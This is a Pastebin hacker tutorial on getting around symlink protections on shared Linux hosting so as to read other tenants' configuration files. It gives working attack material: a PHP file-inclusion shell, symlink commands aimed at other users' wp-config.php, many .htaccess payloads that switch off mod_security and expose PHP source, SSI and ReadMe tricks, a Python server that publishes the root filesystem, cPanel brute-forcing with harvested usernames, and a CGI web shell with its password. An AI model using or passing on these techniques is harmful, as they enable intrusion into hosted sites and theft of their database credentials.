Advertisement
Aluf

How to Bypass Symlink on Linux Servers [Aluf]

Apr 17th, 2015
2,221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.03 KB | None | 0 0
  1. Bypass Symlink on Linux Servers by Aluf
  2. by Aluf
  3.  
  4.  
  5.  
  6. Hello Every One Now I Aluf and I am going to share on Bypassing Symlink on Linux servers :)
  7.  
  8. Today i gonna Explain how to bypass Symlink on 2013 Server With Different .htaccess and Methods .
  9. So Lets Get Started :)
  10. Note : This method is not applicable for Godaddy , Bluehost , Hostgrator and Hostmonstor Servers .
  11. For This First You Need the Following Files :
  12. 1 -> Sen Haxor CGI Shell
  13. 2 -> sen.zip
  14. 3 -> passwd-bypass.php
  15. 4 -> Turbo Brute force Cpanel
  16. 5 - > Port.py
  17. First Before Starting to symlink we need to create php.ini and ini.php to Disable Safe mode and Disabled Functions on the server .
  18. Use the Following Code :
  19. Make a php.ini with the following code
  20. safe_mode=Off
  21. And ini.php with
  22. <?
  23. echo ini_get("safe_mode");
  24. echo ini_get("open_basedir");
  25. include($_GET["file"]);
  26. ini_restore("safe_mode");
  27. ini_restore("open_basedir");
  28. echo ini_get("safe_mode");
  29. echo ini_get("open_basedir");
  30. include($_GET["ss"]);
  31. ?>
  32. I will post the Download link of the files i use on the end of the tutorial .
  33. So after creating php.ini and ini.php upload the other files to the server .
  34. BYPASSING SYMLINK ON PLESK , DEBIAN , CENTOS & REDHAT SERVERS
  35. Now i will explain how to bypass symlink on Plesk , Debian , Centos and Redhat
  36. Commonly all of the above have root path like
  37. /root/var/www/vhost/
  38. where all sites will be under vhost directory . But you wont have permission to view it so we will create a symbolic link to root and view the site and symlink the config files
  39. Make a new directory in your shell example sen then upload sen.zip . Then use this command to unzip the file and create a symbolic link to root .
  40. Command : unzip sen.zip
  41. Note : In some servers unzip command wont work so you can manually create a symlink to root by using the command ln -s / root
  42. Then You will see this
  43. $ unzip sen.zip
  44. Archive: sen.zip
  45. linking: sen.txt -> /
  46. finishing deferred symbolic links:
  47. sen.txt -> /
  48. This means a symbolic link has been created to / root .
  49.  
  50. http://foto.pk/images/2rkr.jpg
  51. Now we need to upload .htaccess use the following
  52. Options all
  53. DirectoryIndex Sux.html
  54. AddType text/plain .php
  55. AddHandler server-parsed .php
  56. Done Bypassed Now View /var/www/vhost/ and you will be displayed with all sites .
  57.  
  58. http://foto.pk/images/3twt.jpg
  59. BYPASSING SYMLINK ON APACHE AND LITESPEED
  60. Mostly when you try to symlink apache in 2013 server you will face 403 forbidden or 404 not found and 500 Internel Server Error
  61. These can be Bypass By Using Different .htaccess individually.
  62. BYPASSING SYMLINK ON APACHE & LITESPEED - Linux Servers .
  63. First for this make a new directory in your shell example sen then upload sen.sa and .htaccess from the Sen Haxor CGI shell which i added the download link at the end of the Tutorial
  64. After uploading .htaccess and sen.sa to a new directory sen chmod sen.sa to 0755
  65. Then Open the Cgi Shell Login ( Password : senhaxor)
  66. Now there are several methods to bypass 403 forbidden You need to try all the following methods . Atleast one will give you success .
  67. Method 1 : .shtml method
  68. This is the commonly used method by most of the hackers to bypass 403 forbidden Error .
  69. So before we procced first you need to get all /etc/passwd from the server so that we can find the username and path of where the sites are located .
  70. 2013 Server mostly Many functions are enabled which shows 403 forbidden when you try to read cat /etc/passwd from the server
  71. so i made a Powerfull Shell which can bypass and get /etc/passwd from the server.
  72. I will also add it to the Downloads.
  73. Upload the /etc/passwd bypasser shell and get all /etc/passwd
  74. Then Login to Sen Haxor CGI Shell and create a symbolic link to your Target
  75. Step 1 : ln -s / root
  76. Step 2 : ln -s /home/username/public_html/config.php 1.shtml
  77. Example if our site is www.site.com and username is site and its Wordpress
  78. ln -s /home/site/public_html/wp-config.php 1.shtml
  79. So we created a Symbolic link to our Target now you need to Go to Your Shell and Edit the .htaccess with the following Code :
  80. Options +FollowSymlinks
  81. DirectoryIndex itti.html
  82. RemoveHandler .php
  83. AddType application/octet-stream .php
  84. Once you done this Open the 1.shtml on your Browser and rightclick and view source . You will be able to View the Config .
  85. This is the common way of Bypass 403 forbidden and Litespeed .
  86. Now Let Me Explain You the Advanced Method =)
  87. Method 2 : Bypassing Symlinked Config From Cpanel
  88. For This You need atleast One Cpanel Access on the sever . I will tell you how to easily crack Cpanel .
  89. First Run This Command : ls /var/mail
  90. Then you will be displayed with all username from the server Copy all .
  91. Now Upload Turbo Brute Force Cpanel Script ( i will attach it will the downloads).
  92. Open the Script and in User Paste all the username we got .
  93. And for Password here is the wordlist :
  94.  
  95. http://pastebin.com/4kAjMvdy
  96.  
  97. Copy All and Paste it on Password Select Simple and Click Submit
  98. If Your lucky you will be displayed with cracked cpanels.
  99. Once you got a cpanel on the server You can Bypass 500 Internel Server Error 403 Forbidden Error From Port :2077 and From error-pages from file manager.
  100. Just symlink the config
  101. ln -s /home/user/public_html/wp-config.php config.shtml
  102. Login to the cpanel
  103. Then Go to File Manager -> Error Pages
  104. Then Choose any of these according to what error is triggered when you open your symlinked config
  105. 400 (Bad request)
  106. 401 (Authorization required)
  107. 403 (Forbidden)
  108. 404 (Not found)
  109. 500 (Internal server error)
  110. Example "&file=400.shtml&desc=(Bad request)
  111. we can get the config by
  112. "&file=config.shtml& desc=(Bad request)
  113. BYPASS SYMLINK FROM PORT 2077
  114. So once you Symlinked the Config You can just login to port 2077
  115. Then public_html/path/config.shtml
  116. You will be able download the config.shtml and you can view the source .
  117. Method 3 : Symlink Bypass via Open Port using Python
  118. For this First we Python to be Installed on Server.
  119. To check if Python is installed run this command python -h
  120. If its install we can use the following python script and Bypass
  121. #!/usr/bin/env python
  122. # devilzc0de.org (c) 2012
  123. import SimpleHTTPServer
  124. import SocketServer
  125. import os
  126. port = 13123
  127. if __name__=='__main__':
  128. os.chdir('/')
  129. Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
  130. httpd = SocketServer.TCPServer(("", port), Handler)
  131. print("Now open this server on webbrowser at port : " + str(port))
  132. print("example: http://site.com :" + str(port))
  133. httpd.serve_forever()
  134. I have added the script to downloads .
  135. Now Upload the script to the shell
  136.  
  137. http://foto.pk/images/205cjg3.jpg
  138.  
  139. now run this command : python port.py
  140.  
  141. http://foto.pk/images/2je1wqq.jpg
  142.  
  143. Now Open the site with port 13123
  144. www.site.com:13123
  145.  
  146. http://foto.pk/images/j5ifwm.jpg
  147. Server Bypassed From Open Port .
  148. Method 4 : Bypassing Symlink Using .ini Method
  149. Login to Sen Haxor CGI shell normally create a symlink to your target in .ini Extension .
  150. ln -s /home/user/public_html/wp-config.php config.ini
  151. now go to the shell and make a new file a.shtml
  152. Paste the following code inside it and save it
  153. <!--#include virtual="config.ini"-->
  154. and save it .
  155. Now open the a.shtml in the browser and right click and view the source . Done Bypassed
  156. Method 5 : Bypassing Symlink Using ReadMe file
  157. Make a new directory in your shell From the Cgi shell normally symlink the config
  158. ln -s /home/user/public_html/config.php config.txt
  159. now make .htaccess with the following code .
  160. .htaccess
  161. Options All
  162. ReadMeName config.txt
  163. Now when you open the directory on the browser you will be displayed with the config source directly .
  164. eg : site.com/sen/config.txt is your symlinked config then when you open
  165. www.site.com/sen/ you symlinked config will be displayed as a ReadMe content .
  166. Thats it i have explain All the Methods to Bypass Symlink If you will have problem Bypassing Try all the Following .htaccess
  167. 1 - > .htaccess
  168. Options Indexes FollowSymLinks
  169. DirectoryIndex ssssss.htm
  170. AddType txt .php
  171. AddHandler txt .php
  172. 2 -> .htaccess
  173. Options All
  174. DirectoryIndex ssss.html
  175. addType txt .php
  176. AddHandler txt .php
  177. <IfModule mod_security.c>
  178. SecFilterEngine Off
  179. SecFilterScanPOST Off
  180. </IfModule>
  181. 3 -> .htaccess
  182. suPHP_ConfigPath /home/user/public_html/php.ini
  183. 4 -> .htaccess
  184. Options +FollowSymLinks
  185. DirectoryIndex Sux.html
  186. Options +Indexes
  187. AddType text/plain .php
  188. AddHandler server-parsed .php
  189. AddType text/plain .html
  190. 5 -> .htaccess
  191. Options Indexes FollowSymLinks
  192. DirectoryIndex ssssss.htm
  193. AddType txt .php
  194. AddHandler txt .php
  195. <IfModule mod_autoindex.c>
  196. IndexOptions
  197. FancyIndexing
  198. IconsAreLinks
  199. SuppressHTMLPreamble
  200. </ ifModule>
  201. <IfModule mod_security.c>
  202. SecFilterEngine Off
  203. SecFilterScanPOST Off
  204. </IfModule>
  205.  
  206. .HTACCESS TO BYPASS DISABLED FUNCTIONS
  207. This one is to make python work :
  208. .htaccess
  209. AddType
  210. application/x-httpd-cgi .py
  211. AddHandler cgi-script .py
  212. AddHandler cgi-script .py
  213.  
  214. This one is to make perl work :
  215.  
  216. .htaccess
  217. AddType application/x-httpd-cgi .pl
  218. AddHandler cgi-script .pl
  219. AddHandler cgi-script .pl
  220.  
  221. This one is to enable Symlink if the function is disabled in the server :
  222.  
  223. .htaccess
  224. <Directory "/home"> *** Options -ExecCGI* ***
  225. AllowOverride
  226. AuthConfig Indexes
  227. Limit FileInfo
  228. Options=IncludesNOEXEC,Indexes,Includes,MultiViews ,SymLinksIfOwnerMatch,FollowSymLinks
  229. </ Directory>
  230.  
  231. This one is to retrieve users permissions :
  232.  
  233. .htaccess
  234. AddType text/plain .php
  235. Options +Indexes
  236. DirectoryIndex filename.html
  237.  
  238. Bypass Internal Server error :
  239. .htaccess
  240. <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>
  241.  
  242. Change php version:
  243. .htaccess
  244. AddType application/x-httpd-php4 .php
  245.  
  246. Bypass Uploads Options and upload shell in another extension :
  247.  
  248. <FilesMatch "^.*\.mp3"> SetHandler application/x-httpd-php </FilesMatch>
  249.  
  250.  
  251. Retrieve Config with picture method :
  252. .htaccess
  253. Options FollowSymLinks MultiViews Indexes ExecCGI
  254. AddType application/x-httpd-cgi .gif
  255. AddHandler cgi-script .gif
  256. AddHandler cgi-script .gif
  257. DOWNLOAD LINK OF THE SCRIPTS I HAVE USED ON THE TUTORIAL :
  258.  
  259. www.mediafire.com/download/08oeos9cpaloeum/Bypass_Symlink_on_2013_Server_With_Different_.htaccess_and_Methods_by_Sen_Haxor.rar
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement